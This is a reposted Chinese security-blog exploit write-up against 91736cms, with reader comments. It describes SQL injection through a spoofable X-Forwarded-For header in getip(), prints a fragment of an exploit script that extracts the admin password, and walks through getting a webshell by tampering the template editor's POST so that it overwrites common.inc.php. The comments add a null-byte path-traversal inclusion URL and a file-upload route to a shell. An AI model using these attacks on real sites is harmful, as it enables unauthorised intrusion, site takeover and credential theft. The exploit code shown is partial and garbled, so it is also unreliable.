91736cms Getip SQL Injection & 后台妙拿 WebShell

admin 2021年4月3日20:03:33评论47 views字数 1213阅读4分2秒阅读模式

Author:Yaseng  &&Desperado

Team:CodePlay

Chinaz 下其源码   读之发现有万恶的 GetIp() 

  1. //获取IP
  2. function getip() {
  3. if (getenv ( "HTTP_CLIENT_IP" )) {
  4. $httpip = getenv ( "HTTP_CLIENT_IP" );
  5. return $httpip;
  6. }
  7. if (getenv ( "HTTP_X_FORWARDED_FOR" )) {
  8. $httpip = getenv ( "HTTP_X_FORWARDED_FOR" );
  9. return $httpip;
  10. }
  11. if (getenv ( "HTTP_X_FORWARDED" )) {
  12. $httpip = getenv ( "HTTP_X_FORWARDED" );
  13. return $httpip;
  14. }
  15. if (getenv ( "HTTP_FORWARDED_FOR" )) {
  16. $httpip = getenv ( "HTTP_FORWARDED_FOR" );
  17. return $httpip;
  18. }
  19. if (getenv ( "HTTP_FORWARDED" )) {
  20. $httpip = getenv ( "HTTP_FORWARDED" );
  21. return $httpip;
  22. }
  23. $httpip = $_SERVER ['REMOTE_ADDR'];
  24. return $httpip;
  25. }

很多cms都死在这里 

原理就不讲鸟  百度之 

需要使用  curl  在命令行下使用 curl 方法 

1.打开php.ini,开启extension=php_curl.dll 

2.检查php.ini的extension_dir值是哪个目录,检查有无php_curl.dll,没有的请下载php_curl.dll,再把php目录中的libeay32.dll,ssleay32.dll拷到c:windowssystem32里面

直接给出  exp

具体见附件:91736.php

操作演示

额 我承认前面的技术很老

来点有新意的吧

上面那个tmd5 破解需要钱 我就用本地演示 后台拿shell 了 来到 后台 getShell

看到鸟模板管理 欣慰之

点开编辑

目测是 Smarty 模板引擎

{php}

phpinfo();

{/php}

Shit 既然禁止鸟 php标签

额 看能不能吧 模板文件名改一下

Tamper 看一下 post 包

果断改 index.html 为 1.php

悲剧了 看来得找一下php文件覆盖之

模板目录在 systemtemplatesdefault12 目录下

在 system 找到一个 php文件 common.inc.php

覆盖他妹的

把 tamper 中的file 改为 ../../common.inc.php

查看 common.inc.php

 

成功写入 php (ps:这种方法比较猥琐 会把网站搞烂 建议实际使用时换一个不重要的php文件覆盖 or 拿到 一句话之后 恢复之) 测试了一下官网 发现最新版有错误

额 有时间在研究吧

Done !!!

CodePlay 代码审计 交流群 209547366 (共同进步)


91736.php

  1. /i";
  2. preg_match($regex,$data,$result);
  3. $regex="/value="(.*)"/";
  4. if(preg_match($regex,$result[0],$pass)){
  5. echo "shit pass:".$pass[1]." and login the admin Panel to getShell";
  6. }
  7. else{
  8. echo "fuck !!! you are field ";
  9. }
  10. ?>

留言评论(旧系统):

晴天小铸 @ 2012-05-18 13:09:41

呵呵exp有个小小问题 如果账户不是admin又得改自段去搞 -。- 不如直接点账户密码一起爆 嘻嘻。。 蛋疼的说下不是吐曹。。

本站回复:

纯转载……

fanliqwe @ 2012-05-19 12:58:14

唉现在用小R自动静态代码 自动生成exp 看来跟sql注入一样要烂大街了
$cookie_file = tempnam('./temp','cookie');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
改都不改一下 还真以为不知道是什么模板生成的吗.....

本站回复:

啥????没明白。。。

Yaseng @ 2012-05-19 13:19:04

额 借 核攻击大牛的宝地回复一下 ls
$cookie_file = tempnam('./temp','cookie');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
http://www.php100.com/html/shipinjiaocheng/PHP100shipinjiaocheng/2010/0621/4795.html
这个是俺学 php时 学的 那个老师写的 然后就一直copy 了

本站回复:

╮(╯_╰)╭

Yaseng @ 2012-05-19 13:21:07

额 借 核攻击大牛的宝地回复一下 ls (上次找错地方了 原谅我吧 )
$cookie_file = tempnam('./temp','cookie');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
http://www.php100.com/html/shipinjiaocheng/PHP100shipinjiaocheng/2010/0621/4795.html
这个是俺学 php时 学的 那个老师写的 然后就一直copy 了

本站回复:

(╰_╯)#

fanliqwe @ 2012-05-19 18:53:12

略微看了下 跟你补充 一下这厉害cms的getshell 吧十分简单
http://127.0.0.1/index.php?m=../../uploadfile&c=1.txt%00
还有upload.php 也可以getshell 路径自定 win系统getshell

本站回复:

(^o^)/~

fanliqwe @ 2012-05-19 18:55:00

不用进后台 会员上传图片估计就直接ok

本站回复:

o(︶︿︶)o

fanliqwe @ 2012-05-19 18:56:46

大概是小白都懂
$m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content";
$c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index";
$f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init";
include MOD_PATH.$m."/".$c.".php";

/system/common.inc.php
/system/function/fun.inc.php
/system/function/global.inc.php

本站回复:

╭(╯^╰)╮

fanliqwe @ 2012-05-19 19:00:20

会员看来不行 这货还是要进后台...

本站回复:

╮(╯﹏╰)╭

fanliqwe @ 2012-05-19 19:12:31

略微看了下 跟你补充 一下这厉害cms的getshell 吧十分简单 不用那么麻烦
http://127.0.0.1/index.php?m=../../uploadfile&c=1.txt%00
还有upload.php 也可以getshell 路径自定 win系统getshell

本站回复:

╮(╯▽╰)╭

文章来源于lcx.cc:91736cms Getip SQL Injection & 后台妙拿 WebShell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:03:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   91736cms Getip SQL Injection & 后台妙拿 WebShellhttps://cn-sec.com/archives/325152.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息